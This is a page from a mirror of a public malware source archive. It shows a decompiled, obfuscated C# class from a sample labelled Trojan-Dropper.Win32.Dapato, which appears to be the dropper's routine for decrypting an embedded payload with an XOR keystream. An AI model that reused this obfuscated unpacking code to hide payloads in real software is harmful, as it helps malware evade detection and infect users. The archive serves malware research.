mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
53 lines
1.4 KiB
C#
53 lines
1.4 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type:
|
|||
|
|
// Assembly: ss20, Version=1.1.1.1, Culture=neutral, PublicKeyToken=null
|
|||
|
|
// MVID: 4385E1A7-2FA8-4895-8952-90E8ECDFEF6F
|
|||
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Dapato.awrl-32c3dc21d69dcf58806a205f7919ff769fda4c1659e61dc7d2c60838850ea6d5.exe
|
|||
|
|
|
|||
|
|
internal static class \u0002\u2000
|
|||
|
|
{
|
|||
|
|
public static byte[] \u0002(byte[] _param0, byte[] _param1)
|
|||
|
|
{
|
|||
|
|
int num1 = (int) _param0[1];
|
|||
|
|
if (true)
|
|||
|
|
goto label_9;
|
|||
|
|
label_1:
|
|||
|
|
int length = _param1.Length;
|
|||
|
|
if (true)
|
|||
|
|
goto label_10;
|
|||
|
|
label_2:
|
|||
|
|
int num2;
|
|||
|
|
byte num3;
|
|||
|
|
int num4 = (int) (byte) (num2 + 11 ^ (int) num3 + 7);
|
|||
|
|
if (true)
|
|||
|
|
goto label_11;
|
|||
|
|
label_3:
|
|||
|
|
byte num5;
|
|||
|
|
uint num6 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num5 << 3));
|
|||
|
|
ushort num7 = 0;
|
|||
|
|
for (int index = 0; index < num2; ++index)
|
|||
|
|
{
|
|||
|
|
if ((index & 1) == 0)
|
|||
|
|
{
|
|||
|
|
num6 = (uint) ((int) num6 * 214013 + 2531011);
|
|||
|
|
num7 = (ushort) (num6 >> 16);
|
|||
|
|
}
|
|||
|
|
byte num8 = (byte) num7;
|
|||
|
|
num7 >>= 8;
|
|||
|
|
byte num9 = _param1[index];
|
|||
|
|
_param1[index] = (byte) ((uint) ((int) num9 ^ (int) num3 ^ (int) num5 + 3) ^ (uint) num8);
|
|||
|
|
num5 = num9;
|
|||
|
|
}
|
|||
|
|
return _param1;
|
|||
|
|
label_11:
|
|||
|
|
num5 = (byte) num4;
|
|||
|
|
goto label_3;
|
|||
|
|
label_10:
|
|||
|
|
num2 = length;
|
|||
|
|
goto label_2;
|
|||
|
|
label_9:
|
|||
|
|
num3 = (byte) num1;
|
|||
|
|
goto label_1;
|
|||
|
|
}
|
|||
|
|
}
|